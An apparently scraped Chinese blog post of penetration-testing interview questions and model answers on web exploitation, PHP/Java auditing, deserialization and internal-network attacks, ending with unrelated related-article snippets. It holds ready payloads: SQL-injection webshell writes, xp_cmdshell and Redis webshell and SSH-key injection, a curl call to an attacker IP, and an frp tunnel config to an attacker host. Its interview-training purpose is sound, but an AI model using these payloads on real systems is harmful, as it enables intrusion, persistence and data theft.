2025年渗透测试面试题总结-匿名[校招]高级安全工程师(代码审计安全评估)(题目+回答)

article/2025/8/26 15:48:09

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 匿名[校招]高级安全工程师(代码审计安全评估)

渗透基础

1. 自我介绍

2. SQL注入写Shell(分数据库)

3. 登录框攻击面

4. GetShell的姿势

5. 文件上传黑名单绕过

6. SQL注入后利用

7. 有趣漏洞案例

8. 蓝凌OA漏洞(示例)

9. DNS重绑定利用

10. PHP vs Java文件包含

11. Redis利用

PHP

1. 常见漏洞函数对照表

2. PHP安全特性

3. 代码审计(MVC/非MVC)

Java

1. 执行命令方式

2. 反序列化原理

3. YSO链示例(CommonsCollections)

4. Shiro反序列化漏洞

5. 反射/代理/类加载

6. 代码审计要点

Python

1. 非脚本工具开发

2. Web框架安全

3. 代码审计重点

漏洞挖掘

1. 漏洞利用研究理解

2. 漏洞利用案例(Fastjson)

内网渗透

1. Disable Function绕过

2. Webshell提权

3. 内网渗透思路

4. 无扫描横向技巧

5. 绕过杀软限制

6. 常用提权姿势

7. 内网代理(Frp)

 匿名[校招]高级安全工程师(代码审计安全评估)

#### **渗透基础**1. 自我介绍
2. SQL注入 写 Shell - mysql & mssql & oracle
3. 登录框攻击面
4. getshell的姿势
5. 文件上传点,黑名单限制,如何利用
6. SQL注入后利用
7. 讲一个你觉得有趣的漏洞案例
8. 前段时间蓝凌OA的洞
9. DNS 重绑定,利用
10. Php和Java的文件包含区别
11. Redis的利用#### PHP1. 常见漏洞对应函数(挨个问)- 命令执行- 代码执行- 文件包含- 文件上传- 文件删除- SSRF- ...
2. PHP安全特性有关注吗
3. 代码审计(mvc/非mvc)#### **Java**1. Java执行命令的几种方式
2. Java反序列化的原理
3. 讲讲yso的链
4. Shiro 反序列化原理
5. 反射,代理,类加载这些熟悉吗
6. 代码审计#### Python1. 是否写过非脚本的工具
2. Web框架(flask/django)
3. 代码审计#### **漏洞挖掘(重点关注)**1. 简历上的通用洞挨个问
2. 漏洞利用研究的理解
3. 漏洞利用研究的案例#### **内网(偏实战问题)**1. disable function bypass
2. webshell 提权(低权限 -> 高权限)
3. 已经拿到webshell,说说你的内网思路
4. 不允许扫描,如何横向
5. 存在杀软,不允许exe落地,怎么办
6. 常用的提权姿势
7. 内网代理,详细问了frp

渗透基础

1. 自我介绍
  • 核心逻辑:技术背景(渗透测试/红队经验)+ 实战成果 + 研究方向
    “专注于渗透测试5年,擅长Web漏洞挖掘与内网渗透,曾发现某金融系统SQL注入链式利用漏洞(从注入到GetShell),主导过多个企业级红队项目。研究方向包括云环境渗透、Java反序列化漏洞自动化检测,熟悉ATT&CK框架实战化落地。”
2. SQL注入写Shell(分数据库)
数据库方法适用条件
MySQLSELECT '<?php eval($_POST[x]);?>' INTO OUTFILE '/var/www/html/shell.php'FILE权限,路径可写且已知
MSSQL启用xp_cmdshell:
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC xp_cmdshell 'echo ^<%eval request("x")%^> > C:\shell.asp'
sysadmin权限,禁用防护组件
Oracle使用UTL_FILE包写文件:
DECLARE fh UTL_FILE.FILE_TYPE; BEGIN fh := UTL_FILE.FOPEN('WEB_DIR','test.jsp','W'); UTL_FILE.PUT_LINE(fh,'<%execute request("x")%>'); END;
UTL_FILE权限,已知可写目录
3. 登录框攻击面
  1. 爆破攻击:弱密码(admin/admin123)、密码喷洒(单密码多用户)。
  2. 逻辑漏洞:验证码绕过(前端校验)、密码重置Token劫持(参数篡改)。
  3. SQL注入:万能密码(' or 1=1-- )、盲注获取用户凭证。
  4. 2FA绕过:响应包修改"2fa_enabled":false
  5. OAuth/SSO劫持:回调URL参数污染劫持授权码。
4. GetShell的姿势
  1. 文件上传漏洞:绕过黑名单上传WebShell。
  2. RCE漏洞:Struts2/Log4j2等框架远程代码执行。
  3. 反序列化漏洞:Java/PHP反序列化链构造。
  4. SSRF转内网:攻击Redis/内网Jenkins写Shell。
  5. 数据库写文件:结合SQL注入写Web目录。
5. 文件上传黑名单绕过
  1. 扩展名绕过.pHp(大小写)、.php5(非标准后缀)。
  2. 双写绕过shell.pPHPphp(过滤替换后变为.php)。
  3. 特殊字符截断shell.php%00.jpg (旧版PHP版本)。
  4. Content-Type修改image/png伪装图片类型。
  5. .htaccess覆盖:上传.htaccess文件定义可执行后缀。
6. SQL注入后利用
  1. 数据窃取:拖库(用户表、密钥表)。
  2. 权限提升:读取数据库配置文件(获取高权限账号)。
  3. 命令执行:MySQL UDF提权/MSSQL xp_cmdshell。
  4. 横向移动:通过数据库连接内网其他服务(如Redis)。
7. 有趣漏洞案例
  • 案例:某OA系统XML解析漏洞导致RCE。
    • 漏洞链:文件上传点限制后缀为.xml → 上传恶意XML触发XXE → 读取服务器文件 → 利用XSLT引擎执行Java代码。
    • 利用效果:通过XSLT的document()函数加载远程Java类,实现无文件WebShell。
8. 蓝凌OA漏洞(示例)
  • 漏洞类型:未授权访问 + 反序列化(2023年历史漏洞)。
  • 利用链:无需登录访问/sys/zone/LoginSSO.jsp → 反序列化参数触发BeanShell执行命令。
  • 修复方案:升级至最新版本,限制反序列化类白名单。
9. DNS重绑定利用
  1. 原理:利用DNS TTL过期机制,将域名解析从外网IP切换到内网IP(如127.0.0.1)。
  2. 攻击场景:绕过浏览器同源策略,访问内网服务(如SSRF攻击本地Redis)。
  3. 工具:使用rbndr服务生成动态域名。
10. PHP vs Java文件包含
维度PHPJava
函数include/require(动态加载)ClassLoader(静态加载)
协议支持支持php://filterdata://等伪协议依赖类路径(ClassPath)或自定义协议处理
漏洞触发点包含用户可控参数(如?file=config.ini动态加载远程类(如URLClassLoader)
11. Redis利用
  1. 未授权访问:直接连接redis-cli -h 目标IP
  2. 写WebShellconfig set dir /var/www/htmlset x "<?php phpinfo();?>"save
  3. SSH密钥写入set x "\n\nssh-rsa AAA...\n\n"config set dir /root/.sshconfig set dbfilename authorized_keyssave
  4. 主从复制RCE:伪造恶意Redis主节点,同步模块触发命令执行。

PHP

1. 常见漏洞函数对照表
漏洞类型危险函数
命令执行system(), exec(), passthru(), shell_exec()
代码执行eval(), assert(), preg_replace(/e修饰符)
文件包含include, require, include_once(结合伪协议)
文件上传move_uploaded_file()(未校验后缀/内容)
文件删除unlink()(未校验权限)
SSRFfile_get_contents(), curl_exec()(未限制URL协议)
2. PHP安全特性
  • 魔术引号(已废弃):自动转义输入(magic_quotes_gpc),可通过stripslashes()绕过。
  • 禁用函数列表disable_functions需绕过(如LD_PRELOAD加载恶意so)。
  • open_basedir限制:通过chdir()ini_set()组合绕过。
3. 代码审计(MVC/非MVC)
  • 非MVC审计:直接追踪用户输入到危险函数(如$_GET['id']传入eval())。
  • MVC框架审计
    1. 路由解析:检查路由参数过滤(如/index.php/user/view/id/123 中的id注入)。
    2. 过滤器链:验证全局过滤是否遗漏(如未过滤$_FILES['file']['name'])。
    3. ORM层:SQL注入检测是否使用预编译(如直接拼接where条件)。

Java

1. 执行命令方式
  1. Runtime.execRuntime.getRuntime().exec("cmd /c whoami")
  2. ProcessBuildernew ProcessBuilder("bash", "-c", "curl http://攻击者IP").start()
  3. GroovyShellnew GroovyShell().evaluate("'calc'.execute()")(依赖Groovy库)。
2. 反序列化原理
  • 触发点:调用ObjectInputStream.readObject() 反序列化不可信数据。
  • Gadget链:通过嵌套调用链执行恶意操作(如AnnotationInvocationHandlerTransformedMapInvokerTransformer)。
3. YSO链示例(CommonsCollections)
  1. Transformer链构造ChainedTransformer串联多个Transformer。
  2. Map触发点LazyMap.get() 触发Transformer.transform()
  3. 入口类AnnotationInvocationHandler反序列化时触发Map操作。
4. Shiro反序列化漏洞
  • 漏洞根源:Shiro RememberMe功能的AES密钥硬编码。
  • 利用步骤
    1. 使用已知密钥加密恶意序列化数据。
    2. 发送CookierememberMe=加密数据触发反序列化。
5. 反射/代理/类加载
  • 反射Class.forName(" 恶意类").newInstance()绕过访问限制。
  • 动态代理Proxy.newProxyInstance() 拦截方法调用(如触发RCE)。
  • 类加载URLClassLoader加载远程Jar执行代码。
6. 代码审计要点
  1. 反序列化入口:搜索readObject()/readResolve()方法。
  2. 危险组件版本:Fastjson/Jackson/XStream等历史漏洞版本。
  3. SPEL表达式:检查@Value注解或StandardEvaluationContext使用。

Python

1. 非脚本工具开发
  • 例子:基于Flask的漏洞扫描平台,集成SQL注入、目录爆破模块。
  • 技术栈:异步协程(asyncio)提升扫描效率,Jinja2模板渲染结果。
2. Web框架安全
  • Flask SSTI{{ config.items() }}泄露敏感配置(需开启debug模式)。
  • Django ORM:正确使用参数化查询(filter(user=request.GET.get('user')) 防注入)。
3. 代码审计重点
  • 危险函数eval(), pickle.loads(), subprocess.run()
  • 模板注入:检查render_template_string(request.args.get('tmpl'))

漏洞挖掘

1. 漏洞利用研究理解
  • 流程:漏洞发现 → PoC编写 → 武器化(结合C2工具) → 防御绕过(如混淆流量)。
  • 核心价值:将理论漏洞转化为实际攻击链(如Log4j2的JNDI注入利用)。
2. 漏洞利用案例(Fastjson)
  • 漏洞点@type属性自动加载类(如com.sun.rowset.JdbcRowSetImpl )。
  • 利用链:JNDI注入指向恶意LDAP服务,加载远程类执行命令。

内网渗透

1. Disable Function绕过
  • LD_PRELOAD:编译恶意so文件,通过putenv()设置劫持函数调用。
  • PHP扩展:自定义扩展覆盖disable_functions限制。
2. Webshell提权
  • 内核漏洞:检测系统版本,使用CVE-2021-4034(Polkit提权)。
  • 服务配置:查找SUID文件(find / -perm -u=s -type f 2>/dev/null)。
3. 内网渗透思路
  1. 信息收集:获取网卡信息(ipconfig)、ARP表、本地凭证。
  2. 横向移动:Pass-the-Hash攻击域控、PsExec执行远程命令。
  3. 权限维持:Golden Ticket注入、计划任务部署后门。
4. 无扫描横向技巧
  • 协议利用:利用SMB匿名访问(smbclient -L //目标IP)或RDP弱密码爆破。
  • 服务漏洞:攻击已知漏洞服务(如永恒之蓝利用MS17-010)。
5. 绕过杀软限制
  • 无文件攻击:PowerShell内存加载恶意代码(如Meterpreter)。
  • 合法工具滥用:使用certutil下载文件、msiexec执行远程安装包。
6. 常用提权姿势
  1. 本地漏洞:Windows内核漏洞(如PrintNightmare)。
  2. 服务权限:MySQL以SYSTEM运行(UDF提权)。
  3. 令牌窃取:利用Incognito模仿高权限用户令牌。
7. 内网代理(Frp)
  • 配置示例
    ini# frpc.ini [common] server_addr = 攻击者IP server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5 
  • 使用:通过socks5://攻击者IP:1080代理内网流量。

http://www.hkcw.cn/article/wJIBUpIPaO.shtml

相关文章

Cmake编译glog成功并在QT中测试成功步骤

glog是开源的日志记录系统&#xff0c;下载地址GitHub - google/glog: C implementation of the Google logging module 跟gflags有点相似&#xff0c;编译和测试过程比较周折&#xff0c;所以记录下来具体的编译和测试步骤。 编译环境&#xff1a;WindowsCmakeVs2022Qt5.14.…

【Linux】网络--传输层--深入理解TCP协议

个人主页~ 深入理解TCP协议 一、TCP数据传输问题1、发送数据丢包问题---重传机制&#xff08;一&#xff09;客户端数据发送丢包&#xff08;二&#xff09;服务器确认应答丢包&#xff08;三&#xff09;时间间隔问题 2、三次握手问题---奇数次握手&#xff08;一&#xff09;…

深入理解 SQL 的 JOIN 查询:从基础到高级的第一步

在处理数据库时&#xff0c;我们常常需要从多个表中提取数据。比如想知道一个城市的天气情况&#xff0c;同时又想知道这个城市的具体位置。这就需要将 weather 表和 cities 表结合起来查询。这种操作在 SQL 中被称为 JOIN 查询。 现在看下两种表的情况 1.weather 表&#xff…

【无标题】C++23新特性:支持打印volatile指针

文章目录 前言背景与问题C23的解决方案实现原理使用场景硬件开发多线程调试 总结 前言 在C开发中&#xff0c;volatile关键字常用于修饰变量&#xff0c;以确保编译器不会对这些变量进行优化&#xff0c;从而保证程序能够正确地与硬件交互或处理多线程环境下的特殊变量。然而&…

RPG15.轻攻击

上一篇已经制作了装备和卸下武器 接下来开始做战斗系统 1.先添加Tag ARPG_GRIVITY_API UE_DECLARE_GAMEPLAY_TAG_EXTERN(InputTag_EquipAxe);ARPG_GRIVITY_API UE_DECLARE_GAMEPLAY_TAG_EXTERN(InputTag_UnEquipAxe); ARPG_GRIVITY_API UE_DECLARE_GAMEPLAY_TAG_EXTERN(Play…

20250529-C#知识:继承、密封类、密封方法、重写

C#知识&#xff1a;继承、密封类、密封方法、重写 继承是面向对象的三大特性之一&#xff0c;通过继承能够减少重复代码的编写&#xff0c;有助于提升开发效率。 1、继承 C#不同于C&#xff0c;只支持单继承当子类出现与父类同名的成员时&#xff0c;父类成员被隐藏&#xff0…

第30次CCF计算机软件能力认证-1-重复局面

时间限制&#xff1a; 1.0 秒 空间限制&#xff1a; 512 MiB 下载题目目录&#xff08;样例文件&#xff09; 题目背景 国际象棋在对局时&#xff0c;同一局面连续或间断出现3次或3次以上&#xff0c;可由任意一方提出和棋。 题目描述 国际象棋每一个局面可以用大小为 88…

【计算机网络】第2章:应用层—DNS

目录 一、PPT 二、总结 DNS&#xff08;域名系统&#xff09;详解 &#xff08;一&#xff09;DNS核心概念 &#xff08;二&#xff09;DNS查询过程&#xff08;重点❗&#xff09; &#xff08;三&#xff09;DNS资源记录&#xff08;RR&#xff09;类型…

[C]基础18.自定义类型:联合和枚举

博客主页&#xff1a;向不悔本篇专栏&#xff1a;[C]您的支持&#xff0c;是我的创作动力。 文章目录 0、总结1、联合体&#xff08;共用体&#xff09;1.1 联合体类型的声明1.2 联合体的特点1.3 联合体大小的计算1.4 联合体的应用场景1.5 联合体练习&#xff1a;判断机器字节序…

目标检测预测框置信度(Confidence Score)计算方式

预测框的置信度&#xff08;Confidence Score&#xff09;是目标检测模型输出的一个关键部分&#xff0c;它衡量了模型对一个预测框中包含特定类别对象的确定程度。 不同的目标检测模型&#xff08;如Faster R-CNN、SSD、YOLO、DETR等&#xff09;在计算置信度时有其特有的机制…

视觉分析开发范例:Puppeteer截图+计算机视觉动态定位

一、选型背景&#xff1a;传统爬虫已无力应对的视觉挑战 在现代互联网环境中&#xff0c;尤其是小红书、抖音、B站等视觉驱动型平台&#xff0c;传统基于 HTML 的爬虫已经难以满足精准数据采集需求&#xff1a; 内容加载由 JS 动态触发&#xff0c;难以直接解析 HTML&#xf…

Java 开发上门家政系统源码:全流程数字化管理,适配家政公司 / 个体户接单派单

家政服务订单管理混乱、人员调度低效、客户留存率低&#xff1f;基于 Java 开发的上门家政系统源码&#xff0c;凭借其强大的稳定性、灵活的扩展性和全流程数字化管理能力&#xff0c;为家政行业提供了一套高效、低成本的解决方案&#xff0c;实现从接单、派单到服务结算的全链…

java24

1.双列集合Map定义 collection和Map都自有contains方法 把实现类对象赋值给接口类对象属于多态的一种&#xff0c;但是这样不能使用实现类里面的特殊方法和重写方法 写好的API里面好像只有数组的打印值是地址值 2.Map遍历方式 Entry是Map接口里面的一个内部接口&#xff0c;所…

VSCode的下载与安装(2025亲测有效)

目录 0 前言1 下载2 安装3 后记 0 前言 丫的&#xff0c;谁懂啊&#xff0c;尝试了各种办法不行的话&#xff0c;我就不得不拿出我的最后绝招了&#xff0c;卸载&#xff0c;重新安装&#xff0c;我经常要重新安装&#xff0c;所以自己写了一个博客&#xff0c;给自己&#xf…

深入了解linux系统—— 库的制作和使用

什么是库&#xff1f; 库&#xff0c;简单来说就是现有的&#xff0c;成熟的代码&#xff1b; 就比如我们使用的C语言标准库&#xff0c;我们经常使用输入scanf和输出printf&#xff0c;都是库里面给我们实现好的&#xff0c;我们可以直接进行服用。 库呢又分为静态库和动态…

VoltAgent 是一个开源 TypeScript 框架,用于构建和编排 AI 代理

​一、软件介绍 文末提供程序和源码下载 VoltAgent 是一个开源 TypeScript 框架&#xff0c;用于构建和编排 AI 代理 二、什么是 VoltAgent&#xff1f; AI 代理框架提供了构建由自主代理提供支持的应用程序所需的基础结构和工具。这些代理通常由大型语言模型 &#xff08;&am…

弹性公网IP的五大核心优势解析

在云服务架构中&#xff0c;弹性公网IP&#xff08;EIP&#xff09;已成为现代企业网络部署的核心组件。与传统固定IP相比&#xff0c;它通过独特的技术机制解决了动态环境下的公网访问难题。以下五大核心优势决定了其不可替代的价值&#xff1a; 一、动态绑定的灵活性 弹性公…

分布式数据库备份实践

在分布式备份中可以采取两种方式进行备份&#xff0c;一种是采用手动编写backup.yml文件进行备份&#xff0c;另外一种是吧备份过程交给备份工具自动执行。如果需要个性化进行备份&#xff0c;建议采用手动编写备份文件方式进行备份。 以下是针对两种备份方式的实践&#xff1a…

社群分享:义乌|杭州电商|店群卖家,私域鱼塘运营的排单系统开源|私域鱼塘运营|返款软件开源

熟悉东哥的朋友都知道&#xff0c;我自己也运营一个电商社群&#xff0c;主要是针对玩私域|鱼塘的电商玩家。 在当前电商环境下&#xff0c;社群分享型电商、店群卖家及私域鱼塘运营者&#xff0c;面临着日益复杂的订单管理和客服调度问题。传统的人工处理不仅效率低…

一键提取Office内图片的工具

软件介绍 OfficeImagesExtractor是一款专门用于提取office文档里面图片的软件。 软件开发 这款软件是由吾爱大佬namejm专门开发的。 软件使用方法 该软件使用起来非常简单。用户只需要把文件拖入到软件里&#xff0c;再设置好保存目录即可。 支持文件格式 这款软件能提取的…